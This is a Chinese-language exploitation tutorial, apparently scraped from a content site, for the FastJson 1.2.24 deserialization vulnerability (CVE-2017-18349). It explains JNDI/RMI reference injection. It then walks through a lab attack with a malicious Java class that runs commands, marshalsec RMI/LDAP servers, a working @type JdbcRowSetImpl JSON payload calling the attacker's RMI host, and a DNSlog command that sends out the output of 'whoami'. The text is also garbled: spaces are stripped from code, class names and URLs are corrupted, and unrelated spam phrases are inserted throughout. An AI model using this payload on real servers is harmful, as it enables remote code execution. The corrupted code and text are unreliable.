某json远程命令执⾏漏洞总结
1.FastJson 简介
fastjson⽤于将Java Bean序列化为JSON字符串,也可以从JSON字符串反序列化到JavaBean。fastjson.jar是阿⾥开发的⼀款专门⽤于Java开发的包,可以⽅便的实现json对象与JavaBean对象的转换,实现JavaBean对象与json字符串的转换,实现json对象与json字符串的转换。除了这个fastjson以外,还有Google开发的Gson包,其他形式的如
net.sf.json包,都可以实现json的转换。⽅法名称不同⽽已,最后的实现结果都是⼀样的。
•
•
•
•
•
将json字符串转化为json对象在net.sf.json中是这么做的 JSONObject obj = newJSONObject.fromObject(jsonStr); //将json字符串转换为json对象在fastjson中是这么做的 JSONObject obj= JSON.parseObject(jsonStr); //将json字符串转换为json对象
1.1 JNDI
JNDI是 Java 命名与⽬录接⼝(Java Naming and Directory Interface),在J2EE规范中是重要的规范之⼀。JNDI提供统⼀的客户端API,为开发⼈员提供了查和访问各种命名和⽬录服务的通⽤、统⼀的接⼝,可以⽤来定位⽤户、⽹络、机器、对象和服务等各种资源。⽐如可以利⽤JNDI再局域⽹上定位⼀台打印机,也可以⽤JNDI来定位数据库服务或⼀个远程Java对象。JNDI底层⽀持RMI远程对象,RMI注册的服务可以通过JNDI接⼝来访问和调⽤。
JNDi是应⽤程序设计的Api,JNDI可以根据名字动态加载数据,⽀持的服务主要有以下⼏种:
•
DNS、LDAP、CORBA对象服务、RMI
1.2 利⽤JNDI References进⾏注⼊
对于这个知识点,我们需要先了解RMI的作⽤。
⾸先RMI(Remote Method Invocation)是专为Java环境设计的远程⽅法调⽤机制,远程服务器实现具体的Java⽅法并提供接⼝,客户端本地仅需根据接⼝类的定义,提供相应的参数即可调⽤远程⽅法。RMI依赖的通信协议为JRMP(Java Remote Message Protocol ,Java 远程消息交换协议),该协议为Java定制,要求服务端与客户端都为Java编写。这个协议就像HTTP协议⼀样,规定了客户端和服务端通信要满⾜的规范。在RMI中对象是通过序列化⽅式进⾏编码传输的。RMI服务端可以直接绑定远程调⽤的对象以外,还可通过References类来绑定⼀个外部的远程对象,当RMI绑定了References之后,⾸先会利⽤Reference获取绑定对象的引⽤,并在⽬录中保存,当客户端使⽤lookup获取对应名字时,会返回ReferenceWrapper类的代理⽂件,然后会调⽤getReference获取Reference类,最终通过factory类将Reference转换为具体的对象实例。
服务端
•
•
•
•
•
•
•
•
•
•
•
•
•
python请求并解析json数据•
•
•
importcom.i.registry.ReferenceWrapper; importjavax.naming.Reference;
"127.0.0.1:8000/"); // ReferenceWrapper包裹Reference类,使其能够通过RMI进⾏远程访问 ReferenceWrapper refObjWrapper = newReferenceWrapper(refObj); registry.bind( "refObj", refObjWrapper); } }
从ReferenceWrapper源码可以看出,该类继承⾃UnicastRemoteObject,实现对Reference的包裹,使其能够通过RMI 进⾏远程访问
客户端
•
•
•
•
•
•
•
•
•
•
•
•
•
•
importjavax.naming.Context; importjavax.naming.InitialContext; importjavax.naming.NamingException; publicclassJNDIClient{ publicstaticvoidmain(String[] args)throwsException { try{ Context ctx = newInitialContext; ctx.lookup( "rmi://localhost:8000/refObj"); } catch(NamingException e) { e.printStackTrace; } } }
如果我们可以控制JNDI客户端中传⼊的url,就可以起⼀个恶意的RMI,让JNDI来加载我们的恶意类从⽽进⾏命令执⾏。
我们来看⼀下References,References类有两个属性,className和codebase url,className就是远程引⽤的类名,codebase决定了我们远程类的位置,当本地classpath中没有到对应的类的时候,就会去请求codebase地址下的类(codebase⽀持http协议),此时如果我们将codebase地址下的类换成我们的恶意类,就能让客户端执⾏。
ps:在java版本⼤于1.8u191之后版本存在trustCodebaseURL的限制,只能信任已有的codebase地址,不再能够从指定codebase中下载字节码。
整个利⽤流程如下
•
•
•
•
•
1.⾸先开启HTTP服务器,并将我们的恶意类放在⽬录下
2.开启恶意RMI服务器
3.攻击者控制url参数为上⼀步开启的恶意RMI服务器地址
4.恶意RMI服务器返回ReferenceWrapper类
5.⽬标(JNDI_Client)在执⾏lookup操作的时候,在decodeObject中将ReferenceWrapper变成Refer
ence类,然后远程加载并实例化我们的Factory类(即远程加载我们HTTP服务器上的恶意类),在实例化时触发静态代码⽚段中的恶意代码
2.FastJson渗透总结
•
•
•
•
webservice命名空间1.反序列化常⽤的两种利⽤⽅式,⼀种是基于 rmi,⼀种是基于 ldap。 2 .RMI是⼀种⾏为,指的是 Java远程⽅法调⽤。
3 .JNDI是⼀个接⼝,在这个接⼝下会有多种⽬录系统服务的实现,通过名称等去到相关的对象,并把它下载到客户端中来。
4 .ldap指轻量级⽬录服务协议。
存在Java版本限制:
•
•
•
•
•
基于 rmi的利⽤⽅式:适⽤ jdk版本: JDK6 u132, JDK7 u131, JDK8 u121之前;在 jdk8u122的时候,加了反序列化⽩名单的机制,关闭了 rmi远程加载代码。基于 ldap的利⽤⽅式,适⽤ jdk版本: JDK11 .0.1、8 u191、7 u201、6 u211之前。在 Java8 u191更新中, Oracle对 LDAP向量设置了相同的限制,并发布了 CVE-2018-3149,关闭了 JNDI 远程类加载。可以看到 ldap的利⽤范围是⽐ rmi要⼤的,实战情况下推荐使⽤ ldap⽅法进⾏利⽤。
2.1 fastjson 1.2.24反序列化导致任意命令执⾏漏洞(CVE-2017-18349)漏洞原理
FastJson在解析json的过程中,⽀持使⽤autoType来实例化某⼀个具体的类,并调⽤该类的set/get⽅法来访问属性。通过查代码中相关的⽅法,即可构造出⼀些恶意利⽤链。
通俗理解就是:漏洞利⽤fastjson autotype在处理json对象的时候,未对@type字段进⾏完全的安全性验证,攻击者可以传⼊危险类,并调⽤危险类连接远程rmi主机,通过其中的恶意类执⾏代码。攻击者通过这种⽅式可以实现远程代码执⾏漏洞的利⽤,获取服务器的敏感信息泄露,甚⾄可以利⽤此漏洞进⼀步对服务器数据进⾏修改,增加,删除等操作,对服务器造成巨⼤影响。
影响版本
•
Fastjson< 1 .2.25
漏洞启动
靶机:Ubuntu ip:192.168.9.234 攻击机:kali ip:192.168.10.65
开启fastjson漏洞
•
•java初学代码
docker-composeup -d dockerps
访问靶机,可以看见json格式的输出:
因为是Java 8u102,没有com.ustURLCodebase的限制,我们可以使⽤
wset.JdbcRowSetImpl的利⽤链,借助JNDI注⼊来执⾏命令。
在kali上执⾏下⾯这条命令,使⽤ curl命令模拟json格式的POST请求,返回json格式的请求结果,没报404,正常情况下说明存在该漏洞。
•
•
curl192.168.9.234:8090/ -H "Content-Type: application/json"--data '{ "name": "zcc", "age":18}'
kali安装Javac环境,这⾥我已经安装好了
•
•
•
•
•
•
•
cd/opt curlwww.joaomatosf/rnp/java_files/ -o tarzxvf rm-rf /usr/bin/java* ln-s /opt/jdk1.8.0_20/bin/j* /usr/bin javac-version java-version
编译恶意类代码
•
•
•
•
•
•
•
•
•
•
•
•
•
•
importjava.lang.Runtime; importjava.lang.Process; publicclasszcc{ static{ try{ Runtimert = Runtime; String[] commands = { "touch", "/tmp/zcctest"}; Processpc = rt.exec(commands); pc.waitFor; } catch( Exceptione) { // do nothing } } }
•
javaczcc.java
搭建http服务传输恶意⽂件
•
python-m SimpleHTTPServer 80
编译并开启RMI服务:
1 下载marshalsec(我这⾥已经安装好):
•
git clonehttps: //github/mbechler/marshalsec.git
2 然后安装maven:
•
apt- getinstall maven
3 然后使⽤maven编译marshalsec成jar包,我们先进⼊下载的marshalsec⽂件中运⾏:
•
mvn clean package-DskipTests
4 然后我们借助marshalsec项⽬,启动⼀个RMI服务器,监听9999端⼝,这⾥的ip为你上⾯开启http服务的ip,我们
这⾥就是kali的ip:
•
java-cp marshalsec-0.0.3-SNAPSHOT- all.jar marshalsec.jndi.RMIRefServer "192.168.10.65/#zcc"9999
这⾥如果要启动LDAP服务的话,只需把上⾯命令中的RMI改成LDAP即可,例如:
•
java-cp marshalsec-0.0.3-SNAPSHOT- all.jar marshalsec.jndi.LDAPRefServer "192.168.10.65/#zcc"9999
可以看见请求成功,并加载了恶意类。
5 使⽤BP抓包,并写⼊poc(记住请求包⾥⾯请求⽅式改成post,Content-Type改成application/json):
•
•
我要自学网编程•
•
•
•
个人简历电子版空白表格•
{ "b":{ "@type": "wset.JdbcRowSetImpl", "dataSourceName": "rmi://192.168.10.65:9999/zcc", "autoCommit": true } }
可以看见成功写⼊。
这⾥我们⽤dnslog做⼀个⼩测试:
•
http: //www.dnslog/
直接覆盖原来得⽂件;
•
符合汇编语言变量命名规则的变量名是什么"/bin/sh", "-c", "ping user.'whoami'.jeejay.dnslog"
点击send发送之后成功回显
版权声明:本站内容均来自互联网,仅供演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系QQ:729038198,我们将在24小时内删除。
发表评论